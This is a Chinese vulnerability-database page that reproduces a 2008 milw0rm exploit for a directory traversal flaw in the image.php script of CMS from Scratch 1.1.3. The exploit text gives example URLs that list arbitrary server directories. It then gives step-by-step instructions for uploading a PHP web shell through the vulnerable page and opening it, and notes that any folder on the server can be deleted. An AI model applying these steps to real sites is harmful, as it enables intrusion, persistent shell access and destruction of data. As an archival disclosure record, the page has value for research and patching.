CMS from Scratch 1.1.3 - 'image.php' Directory Traversal

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056661 漏洞类型
发布时间 2008-05-29 更新时间 2008-05-29
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/5693
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
------------------------------------------------------------------------
   CMS from Scratch <= 1.1.3 (image.php) Local Directory Traversal Vulnerability
------------------------------------------------------------------------
 
   author...: Stack
 mail.....: Wanted
 wanted by Egix
Gr33ts t0 : EgiX, ThE GeNeRal L0s3r , Houssamix ,Str0ke <==> special THanks to EgiX For founded it :d:)

Exploit :
        #  http://localhost/path/cms/images.php?dir=c:
        Example :
        #  http://localhost/path/cms/images.php?dir=c:WINDOWS/system32/
 
Exploit 2 :

          and you can upload php file ==>  php shell
          for example upload the php shell in my localhost
         c:AppServ/www/
         you go to link
        #  http://localhost/path/cms/images.php?dir=c:AppServ/www/
         after click to colon [parcourir] after select your shell and click upload
         and go to link
        #  http://localhost/shell.php
      desc :you can delete all folder of server
      just clike to mark delete in folder selected to delete

 thx : allah 

# milw0rm.com [2008-05-29]